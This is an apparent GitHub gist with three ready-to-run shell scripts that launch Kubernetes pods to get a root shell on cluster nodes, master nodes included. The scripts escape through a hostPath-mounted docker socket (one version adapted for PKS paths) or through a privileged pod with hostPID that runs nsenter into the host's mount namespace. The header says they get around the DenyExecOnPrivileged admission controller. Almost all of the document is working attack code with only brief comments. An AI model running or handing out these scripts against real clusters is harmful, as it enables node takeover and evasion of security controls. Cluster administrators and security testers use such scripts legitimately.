Yeah. Get a root shell at any Kubernetes *node* via `privileged: true` + `nsenter` sauce. PodSecurityPolicy will save us. DenyExecOnPrivileged didn't (kubectl-root-in-host-nopriv.sh exploits it)
#!/bin/sh | |
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root | |
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged` | |
# admission controller. | |
# Pod command in turn runs a privileged container using node's /var/run/docker.sock. | |
# | |
# Tweaked for PKS nodes, which run their docker stuff from different | |
# /var/vcap/... paths | |
node=${1} | |
case "${node}" in | |
"") | |
nodeSelector='' | |
podName=${USER+${USER}-}docker-any | |
;; | |
--master) | |
shift | |
nodeSelector='"nodeSelector": { "kubernetes.io/role": "master"},' | |
podName=${USER+${USER}-}docker-master | |
;; | |
*) | |
shift | |
nodeName=$(kubectl get node ${node} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1 | |
nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },' | |
podName=${USER+${USER}-}docker-${node} | |
;; | |
esac | |
set -x | |
kubectl run ${podName:?} --restart=Never -it \ | |
--image overriden --overrides ' | |
{ | |
"spec": { | |
'"${nodeSelector?}"' | |
"tolerations": [{ | |
"effect": "NoSchedule", | |
"key": "node-role.kubernetes.io/master" | |
}], | |
"containers": [ | |
{ | |
"name": "docker", | |
"image": "docker:latest", | |
"command": [ | |
"docker", "-H", "unix:///var/vcap/sys/run/docker/docker.sock", "run", "-it", | |
"--privileged", "--pid=host", "--net=host", "docker", | |
"sh", "-c", | |
"nsenter --mount=/proc/1/ns/mnt -- su -" | |
], | |
"stdin": true, | |
"tty": true, | |
"resources": {"requests": {"cpu": "10m"}}, | |
"volumeMounts": [ | |
{"name": "var", "mountPath": "/var"} | |
] | |
} | |
], | |
"volumes": [ | |
{"name": "var", "hostPath": {"path": "/var"}} | |
] | |
} | |
}' --rm --attach "$@" |
#!/bin/sh | |
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root | |
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged` | |
# admission controller. | |
# Pod command in turn runs a privileged container using node's /var/run/docker.sock. | |
node=${1} | |
case "${node}" in | |
"") | |
nodeSelector='' | |
podName=${USER+${USER}-}docker-any | |
;; | |
--master) | |
shift | |
nodeSelector='"nodeSelector": { "kubernetes.io/role": "master"},' | |
podName=${USER+${USER}-}docker-master | |
;; | |
*) | |
shift | |
nodeName=$(kubectl get node ${node} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1 | |
nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },' | |
podName=${USER+${USER}-}docker-${node} | |
;; | |
esac | |
set -x | |
kubectl run ${podName:?} --restart=Never -it \ | |
--image overriden --overrides ' | |
{ | |
"spec": { | |
'"${nodeSelector?}"' | |
"tolerations": [{ | |
"effect": "NoSchedule", | |
"key": "node-role.kubernetes.io/master" | |
}], | |
"containers": [ | |
{ | |
"name": "docker", | |
"image": "docker:latest", | |
"command": [ | |
"docker", "run", "-it", | |
"--privileged", "--pid=host", "--net=host", "docker", | |
"sh", "-c", | |
"nsenter --mount=/proc/1/ns/mnt -- su -" | |
], | |
"stdin": true, | |
"tty": true, | |
"resources": {"requests": {"cpu": "10m"}}, | |
"volumeMounts": [ | |
{"name": "run", "mountPath": "/var/run"} | |
] | |
} | |
], | |
"volumes": [ | |
{"name": "run", "hostPath": {"path": "/var/run"}} | |
] | |
} | |
}' --rm --attach "$@" |
#!/bin/sh | |
# Launch a Pod ab-using a privileged=true to land on a Kubernetes node cluster as root, | |
# uses `privileged: true` to then nsenter init mount its (root) namespace, | |
# hostPID and hostNetwork already set for the Pod. | |
node=${1} | |
case "${node}" in | |
"") | |
nodeSelector='' | |
podName=${USER+${USER}-}sudo-any | |
;; | |
--master) | |
shift | |
nodeSelector='"nodeSelector": { "kubernetes.io/role": "master"},' | |
podName=${USER+${USER}-}sudo-master | |
;; | |
*) | |
shift | |
nodeName=$(kubectl get node ${node} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1 | |
nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },' | |
podName=${USER+${USER}-}sudo-${node} | |
;; | |
esac | |
set -x | |
kubectl run ${podName:?} --restart=Never -it \ | |
--image overriden --overrides ' | |
{ | |
"spec": { | |
"hostPID": true, | |
"hostNetwork": true, | |
'"${nodeSelector?}"' | |
"tolerations": [{ | |
"effect": "NoSchedule", | |
"key": "node-role.kubernetes.io/master" | |
}], | |
"containers": [ | |
{ | |
"name": "alpine", | |
"image": "alpine:3.7", | |
"command": [ | |
"nsenter", "--mount=/proc/1/ns/mnt", "--", "su", "-" | |
], | |
"stdin": true, | |
"tty": true, | |
"resources": {"requests": {"cpu": "10m"}}, | |
"securityContext": { | |
"privileged": true | |
} | |
} | |
] | |
} | |
}' --rm --attach "$@" |
This comment has been minimized.
This comment has been minimized.
Thanks for the feedback, replaced by |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
/bin/bash will only work in debian-based hosts..